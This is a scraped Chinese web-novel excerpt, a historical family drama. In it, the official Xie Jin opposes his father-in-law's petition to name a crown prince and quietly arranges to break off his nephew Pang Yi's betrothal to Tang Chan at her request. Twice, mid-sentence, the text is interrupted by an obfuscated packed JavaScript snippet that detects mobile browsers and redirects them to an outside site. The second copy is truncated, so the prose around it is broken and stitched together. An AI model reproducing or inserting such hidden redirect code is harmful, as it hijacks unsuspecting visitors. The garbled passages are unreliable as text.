任许正儒如何劝说,解瑨始终油盐不进,还让许正儒也不要动这个念头。 许正儒没有法子,最终只得气急败坏地拂袖而去。 二人不欢而散。 许正儒走后,解瑨罕见地松了脊背靠在椅子上,伸出手揉了揉太阳穴。 小厮捧砚见他面露疲态,“二爷可要歇一歇?” “不必,”解瑨打起精神,“泡杯浓茶给我吧。” 听说父亲与夫君二人吵起来的许茹娘急急刚到书房,入眼的便是父亲盛怒而去的背影。 许茹娘咬了咬唇。 她迈进房间,轻手轻脚给解瑨倒了杯茶,小心翼翼地劝道:“父亲的性子是有些倔强,咱们做晚辈的容忍些便是。” “可你父亲居然是想要上折请立储君,”解瑨睁开眼睛看向她,“这哪是能随意掺和的事情?” “立储?” 却没料到许茹娘想了想后问道:“是不是大皇子殿下?” 解瑨眉心一跳,“你父亲同你说过?” “那倒没有,”许茹娘解释道,“是前段时间各家夫人办宴,都在说大殿下有了嫡子,该再往上走一步了。” 解瑨眉头越皱越紧,原来后宅之中也开始流传这样的说法了吗? 他非但没有觉得这是大皇子成事的征兆,反而更警惕了。 许茹娘却是与众人的看法一致,她理所当然道:“既然所有人都这样说,想来定然是不会错的。” 解瑨摇了摇头,“话不是这样说的。” 他眸色沉沉,“大皇子和背后的雄安侯府肆意拉拢各方势力,皇上却始终在立储一事上暧昧不清,我总有种不好的预感。” 许茹娘眨了眨眼。 她只读过女四书,认得常用字,家里自小教导,这样的朝堂大事,不是她一个后宅妇人该知道的。解瑨的话,许茹娘听得半懂不懂,但她心里觉得,是不是自己夫君想太多了? 大皇子会被立为太子的说法已经有很多年了,若是皇上不同意,怎么会任由所有人都这样以为呢? 再说……许茹娘心里还有些别的想法。 她知道夫君面上客气,实际上不喜她的娘家人,会不会是因为这一点,夫君才不愿听从父亲之言呢? 想到这里,许茹娘心头闪过一丝难过。 犹豫了下,她还是小心劝道:“这些事情,我一个妇人不太懂,只是……妾身知道父亲官位不如夫君,但父亲毕竟为官时日更久,经验更多,若是与夫君政见不合,应该是有他的道理在的。” “为官越久才越该明白一个道理,”解瑨按了按眉心,“立储、夺嫡这种事不要随便站位,一个不好,是要给家中招祸的。” 许茹娘吓了一跳。 “没有那么严重吧,”许茹娘半信半疑,欲言又止,“那……那夫君与父亲好好分说便是了。” 解瑨闻言,眼中闪过一丝无奈。 他还想说些什么,但最终还是什么都没说。 也罢……妻子夹在中间,确实难做,自己也该体谅她才是。 这时忽然听外头来报,“二爷,太夫人请您去一趟松鹤堂,表少爷来了。” * 两刻钟前。 庞逸步履沉重地走向解府。 他生母早逝,与外祖家并不亲近,只在逢年过节时来解府给外祖母请安。 想到要求小舅舅办事……庞逸长叹口气,心里七上八下。 希望今天能从解府全须全尾地出来…… 按说解家是清贵的读书人家,世代为官,算得上簪缨门第,庆祥侯府却是吉祥物一般的富闲勋贵,两家本是八竿子打不着。不过解阁老夫妇在为女儿相看亲事时,反倒觉得庆祥侯府这样不胡乱出头的家风不会有倾家大祸,正是看中这一份稳当,才将女儿嫁进了庆祥侯府。 只可惜天妒红颜,解阁老长子解磐夫妻意外亡故的消息传来时,解氏正身怀六甲,惊闻噩耗之下,解氏早产,艰难诞下庞逸后,血崩去世。 儿子、儿媳、女儿相继离世,连番打击使解阁老大病一场,没过多久也去了。 解家连办两场大丧,乱成一团,解阁老的夫人刘氏心力交瘁,之后解家门庭冷落,自顾不暇,刘氏要照顾十来岁的解瑨以及解磐留下的一对年幼子女,根本顾不上庆祥侯府里刚出生的外孙。 等解瑨支起门户,解家情况见好时,庞逸已经长歪,已经是太夫人的刘氏不喜外孙不学无术,想要亲近,也根本不知道从何处下手,便只好远远看着,知道外孙没有大事便好。 小佛堂里,檀香缭绕,太夫人正跪在佛像前,虔心礼佛。 她身材清瘦,衣着朴素,气质优雅,身上带着檀香。 得知外孙上门,太夫人诧异地睁开眼睛,“不年不节的,他来做什么?” 担心出了什么事,太夫人对来禀告的何妈妈伸出手,“扶我起来,我去见见。” 正屋,庞逸正乖乖捧着茶杯坐着等人。 看见被何妈妈搀扶而来的太夫人,庞逸连忙起身,乖乖行礼问好,“外祖母。” 到底是女儿留下的一点骨血,看见白白净净,五官隐约有着女儿影子的庞逸,太夫人心头一软,“逸哥儿来啦。” 她转头吩咐丫鬟,“昨儿府里是不是刚进了当季的枇杷?拿上来给逸哥儿尝尝。” 庞逸连忙道谢。 寒暄过后,太夫人温声问他,“你今日来,可是出了什么事?” 当年变故,太夫人虽挺了过来,但也落下了失眠多梦、容易惊悸的病根。她常年在松鹤堂修身养病,研读佛法,深居简出不问世事,庞逸不想拿自己的事来打扰老人家,便乖巧答道:“来给外祖母请个安,顺便有点事来找小舅舅。” 他这话说的贴心,太夫人没忍住露出笑容,叫何妈妈去问,“看看老二在干什么,没什么大事就叫他来我这儿一趟。” 没过一会儿,外头便传来了下人的问好声,“二爷来了!” 庞逸一个激灵,赶紧挺直腰板。 太夫人余光看到了庞逸的动作,忍俊不禁。 老二向来严肃,孩子们都怕他,老大的儿子桢哥儿从小到大最怕的就是他小叔叔,逸哥儿这个模样,跟桢哥儿的德行一模一样。 解瑨迈步进屋,给太夫人行过礼,看向庞逸。 他眼神一扫过来,庞逸赶紧躬身行礼,“小舅舅。” 太夫人嗔了儿子一眼,示意他不要这么严肃,温言嘱咐道:“逸哥儿有事找你,你们去吧。” …… 庞逸跟在解瑨后面,心中七上八下。 二人来到书房,庞逸鼓起勇气,亲自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405527|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒茶递过去,腆着脸面讨好道:“小舅舅喝茶。” 解瑨面无表情地看着他这副没出息的样子。 若是解家有这样不学无术的子孙,解瑨说不得早早便要清理门户。 但勋贵不比文臣,就这样做一辈子富贵闲人也好,姐姐给孩子取名“逸”,想来也是期盼他安乐一生。 “找我什么事?” 庞逸不自在地动了动,清了清嗓道:“家里老祖宗想要给我定亲,看中了表姐。” 解瑨动作一顿,汤家那位表姑娘? 脑中隐约浮现出一个人影,他早已记不得那位姑娘的长相,但清楚地记得她颇为厚颜,分明是拐着好几弯的亲戚,却亲热谄谀地跟着庞家人一起喊他舅舅。 ……倒不太像是汤大人养出来的女儿。 解瑨与汤远山有过一面之缘,在他的印象里,汤大人为官务实,克己奉公,高风亮节,名声颇佳,若不是早早去世,定能做到一方大员。 解瑨想了想,有这样的父亲,汤家表姑娘可能小节不拘,但本性应该不坏。 “既得老夫人青眼,定是佳妇。”解瑨抬眼道,“恭喜。” 庞逸眉眼却耷拉下来,情绪低落,唉声叹气,“可我不能娶表姐。” 解瑨一愣,“这是为何?” 庞逸回想起表姐的交代,说小舅舅年纪轻轻能身居高位,定是个极为聪明敏锐的人,不能撒谎瞒他,还是实话实说得好。 想到这儿,庞逸便老实道:“表姐说,她不愿生育,如果我娶了她就不会有嫡子,即便一时无碍,但若是日后因为爵位继承之事,夫妻反目甚至家里鸡飞狗跳就不美了。” 解瑨结结实实地愣住了。 饶是他自诩见多识广,听了这番话也是十足的意外,甚至不知道说什么好。 他只听说过为了求子而变得偏执甚至疯魔的妇人,还是第一次听说有不愿意生孩子的。 哪怕是最不贤良的妇人,也没有不愿为夫家延绵子嗣的——这可是七出之罪。 不过解瑨虽惊讶,也不会对其他人的想法指手画脚,他继续听庞逸竹筒倒豆子一般复述汤婵的话,“表姐还说,我要么娶个出身高镇得住的,要么娶个心思精明身体好的,她出身小门小户,性格又懒散,不适合嫁给我,所以想求小舅舅帮帮忙,别让这桩婚事成了……” 解瑨若有所思,好一会儿没说话。 他脑中那个模糊的影子忽然变得清晰了一些。 这女子,虽然有趋炎附势、刁滑狡黠之嫌,不过倒称得上通透世故,是个很识时务的聪明人。 解瑨虽不会在乎旁人的选择,但庞逸不能没有嫡子,若是汤家表姑娘所言是真,这门亲事确实不合适。 而适合庞逸的妻子,还真就是如她所言,因为庆祥侯继夫人和庞逸嫡亲弟弟的存在,庞逸的妻子要么出身高门有靠山,要么身体健康可以诞育嫡子,爵位归属才不会生变。 一个远房表姐,倒比他这亲舅舅为庞逸打算得更多。 解瑨不免感到自己的失职。 他看向庞逸,这是姐姐留下的唯一骨血,也许他应该再多关照一些才是。 “我知晓了,”解瑨沉声道,“这事交给我来办。” 庞逸心中一喜,大松一口气,赶紧作揖拜谢,“有劳小舅舅了。” 28. 第二十八章 天气渐暖,鸟儿站在鼓着花苞的枝头,不时传来清脆悦耳的啼叫。 汤母伸手推开窗楞,看见窗外枝头左顾右盼的几个毛团,不由露出一个笑容。 她坐在窗下镜前,任由伍妈妈帮她梳头。 伍妈妈感觉到汤母心情舒畅,不禁也跟着露出笑,“夫人近来气色可真好。” 汤母微一怔,随即笑容更深了几分,“我这也算是‘人逢喜事精神爽’吧。” 伍妈妈自然知道,汤母口中的喜事是自家姑娘的婚事。 同汤母一样,伍妈妈也万万想不到自家姑娘能有嫁给世子的造化——虽然此姑娘非彼姑娘,伍妈妈自己的心情十分复杂,但汤母喜气洋洋,侍候汤母多年的伍妈妈到底跟着高兴。 “老夫人很是看重咱们婵姐儿呢,”伍妈妈笑着说吉祥话,“还特意请了相国寺的住持大师合八字,咱们婵姐儿可真有福分。” 汤母笑道:“毕竟是侯府,家大业大,逸哥儿又是世子,婚事自然不好轻忽。” 不过说到汤婵……汤母心中不自觉闪过一丝不安。 不是因为别的,只是因为汤婵太安静了。 汤母还清楚地记得汤婵刚知道消息时与自己的争吵,她不愿意嫁给逸哥儿,但自那之后,汤婵一直出乎意料的安静,至今也没闹出什么事。 汤母一时觉得汤婵这是认了,一时又隐隐觉得对方不像这种人,过分的安静让她心中不安,总觉得要出什么事。 许是自己想多了罢……汤母吐出一口气,摇摇头不再乱想,“走罢,去给老祖宗请安。” 到了福禧堂,汤母正好在门口遇上侯夫人。 侯夫人似是已经接受了汤婵这个不合自己心意的儿媳人选,对汤母态度很好,两人笑着寒暄几句,一同进了屋子。 老夫人正坐在炕上,下首庞侯爷居然也在。 屋里气氛有些不对,两人表情都不是太好,汤母不自觉心里一突。 果然,等侯夫人与汤母问过好后,老夫人叹了口气,缓声对汤母道:“惠娘,逸哥儿跟婵姐儿的事,怕是不成了。” 汤母脑袋一懵,反射性地问道:“这,这是为何?” 老夫人叹息一声,“老大,你来说吧。” 庞侯爷也叹了口气,语气惋惜,“咱们不是请了清远大师给两个孩子合算八字嘛,今日我去拜访,却得了清远大师‘不宜成婚’的批算。” 他指了指桌子上摆放的一张红色纸贴,“大师说,两人的八字分开来看,都是一生富贵平安的好命格,但合在一起便有不利子嗣、家宅不合之相,叫咱们好好考虑这桩亲事。” 不利子嗣? 汤母懵在当场,一旁的侯夫人也是又惊又疑。 她霎时便想起汤婵体寒不易有孕的事,难道这也能算出来? 相国寺传承千年,又是国寺,清远大师作为主持,有如此能耐倒也不奇怪…… 侯夫人心里不由扼腕,看来如果二人成婚,确实很可能没有孩子,一切便得来全不费工夫,可惜被大师出手搅合了! 想着便不由自主道:“怎得偏生就八字不合呢……” 老夫人没注意到侯夫人的神色,但她初初听到这个消息,第一反应跟侯夫人这句话一模一样。 她是极为相信命格一说的,更别说是清远大师的批命。 没有孩子,那可万万不行,哪怕老夫人再看好汤婵,也不会同意二人的亲事了。 可惜了婵姐儿……老夫人心里很是遗憾,她对汤母道:“惠娘,你怎么说?” 汤母心中乱糟糟的,始终没回过神来。 她既觉得荒谬,却又没有太过意外,反而因为之前的不安预感落实,隐隐有种“果然”的落定之感。 汤母强笑了一下,“都听老夫人安排。” 老夫人哪里看不出汤母的失魂落魄,她温声安慰道:“天暖了,各家都开始办宴,婵姐儿也一起跟着去玩吧。你放心,婵姐儿这样好的孩子,又有咱们侯府,定能有个好归宿。” * “姑娘,”秋月从府外回来,递给汤婵一个小荷包,“这回春桃送来的绣品卖了三两半银子。” 汤婵正跟双巧偷偷在屋里下五子棋,双巧皱着小眉毛冥思苦想,闻言不由分了神,惊讶道:“三两半?竟然比上次还多……” “不愧是老夫人房里的丫头,可真有钱啊……”汤婵也感慨,“收起来吧。” 秋月应下,将碎银子放到汤婵床头的小匣子里收好。 小匣子里是汤婵的私房钱,里头有汤婵剩下的月例,还有许多小金银锞子,都是长辈赏的,再有的就是从春桃那得来的意外之财。 这段日子,春桃送来各种零零碎碎的小东西卖了十几两,再收下去汤婵都要觉得亏心了…… 秋月显然也觉得这么下去好像不是个事儿,她将小匣子放好,“姑娘,咱们就这么继续任由春桃送东西吗?” 汤婵落下一子,“没事儿,很快她就不会来了。” 秋月眨眨眼,刚想问为什么,门口传来通传声,汤母来了。 汤婵赶紧做贼似的把棋盘收起来,起身迎了上去,“母亲来了?” 嘶,这个脸色可不怎么好……汤婵心有所感,果然,汤母开口便冷冰冰地道:“今儿侯爷带回来消息,你跟逸哥儿合婚不成,婚事作罢,你可满意了?” 哪怕有所预料,听到消息的汤婵还是眼睛一亮,“真的?” 终于! 事情总算是解决了,小舅舅,靠谱! 看着汤母沉沉的脸色,汤婵连忙收起喜意,招呼汤母坐下。 炕桌上摆着今日刚送来的桑葚,汤婵把盘子朝汤母推过去,“挺甜的,您也来一些?” 汤母没动,只冷眼瞧着她质问道:“你做了什么手脚?” 汤婵叫屈,“您也太看得起我了,我哪有那么大能耐,能指使动人家算命的大师?” 她确实指使不动人家相国寺的住持,汤婵也不算说谎。 已经渐渐熟知她本性的汤母却不买账,“你肯定做了什么。” 她再怎么也想不到,汤婵能胆子大到指使庞逸去找解家人,让庞逸的舅舅去“安排”合婚的结果。 但汤母直觉汤婵绝对不无辜,她指着窗边绣架,红绸上头的鸳鸯图案跟她两天前来看时对比,几乎一模一样,“你早就知道婚事不会成,所以你这些日子丝毫不慌,我让你绣嫁妆,你也只是做做样子给我看!” 一边说着,她的眼泪流了下来。 汤婵沉默下来,再也摆不出嬉皮笑脸的态度,想要说些什么,张了张口又咽了回去。 汤母泪流不止,她心中有辜负老夫人的愧疚,有汤婵不听话的愤怒,但更多的,是感知到自己掌控不了汤婵的无力。 她再一次清晰地意识到,她那听话、顺从、贴心的女儿已经不在了。 老天爷怎么会这样对她? 汤母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“二爷,”外头传来捧砚的声音,“有位大人拦轿。” 轿中闭目养神的解瑨睁开双眼,伸手挑开青色杭绸面的轿帘,认出了来人,“叶兄。” 拦轿之人是通政使司的叶大人叶盛,两人虽差了些年纪,交情却十分不错。 叶盛拱手回礼,“解贤弟。” 解瑨的轿子还算宽敞,叶盛抬步上了轿子,将袖中一封折子递了过去。 叶盛凑近低声对解瑨道:“今日递进通政司的折子,我瞧见就截了下来,还未呈送内阁。” 解瑨眉心一跳,接过翻开一看,竟是岳父许正儒奏请立大皇子为储君的折子。 他心下一沉。 解瑨将折子收了起来,对叶盛拱手,神色郑重,“我欠叶兄一个人情。” “好说,”叶盛摆摆手,“只是我能截一次,却不能截两次三次,解贤弟还是尽快同家里人说明厉害才好。” 解瑨微微点头,“多谢叶兄。” 叶盛拍拍他的肩膀,下轿走了。 捧砚一直候在轿边,感觉到气氛不对,始终未敢开口。 片刻后,轿子里才传来一声语气淡淡的吩咐,“去许府。”